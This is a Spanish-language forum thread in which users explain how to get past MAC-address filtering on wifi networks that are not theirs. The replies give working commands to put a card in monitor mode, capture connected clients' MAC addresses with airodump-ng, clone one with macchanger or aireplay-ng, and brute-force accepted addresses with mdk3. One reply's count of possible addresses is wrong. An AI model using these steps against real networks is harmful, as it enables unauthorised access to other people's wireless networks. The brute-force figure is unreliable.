saltearse filtrados mac

[Milo_EscorpioNN]

nunca probe si se podia , pero hay redes que no tienen password y al dar conectar no conectan porque tienen filtrado mac, es posible obtener las mac de dichos dispositivos?

[adastra]

http://thehackerway.com/2012/03/28/wireless-hacking-descubriendo-aps-con-ssid-ocultos-y-evadiendo-mac-filters-parte-iv/

[P4nd3m0n1um]

Milo_EscorpioNN simple. Dependiendo en que caso sea, router normal por ejemplo, con filtro de MAC Address; solo entran MAC Address Especificas. Simplemente pones tu placa en modo monitor..

Código (bash) [Seleccionar] Expandir

airmon-ng start <interfaz>

luego airodumpeamos...

Código (bash) [Seleccionar] Expandir

airodump-ng <interfaz>

juntamos los datos de los usuarios que están conectados a esa red, en especial la MAC Address y la clonamos:

Código (bash) [Seleccionar] Expandir

ifconfig <interfaz> down
macchanger -m XX:XX:XX:XX:XX:XX <interfaz>
ipconfig <interfaz> up

y te conectas, en cambio si ahora te conectas y es un hotspot, posiblemente simplemente debas clonar la IP también para entrar, no en todos, pero muy posible.

[frakc/kcdtv]

puedes también hacer un brute force sobre las mac aceptadas con mdk3 (8^16 posibilidades)

Se te fue el dedo: No es

ipconfig <interfaz> up

pero

Código [Seleccionar] Expandir

ifconfig <interfaz> up 

No es necesario cambiar la mac con macchanger, solo tenéis que añadir el argumento -h +mac_que_queremos_clonar a vuestras lineas de comando aireplay-ng y con "hw ether" se modifica la mac.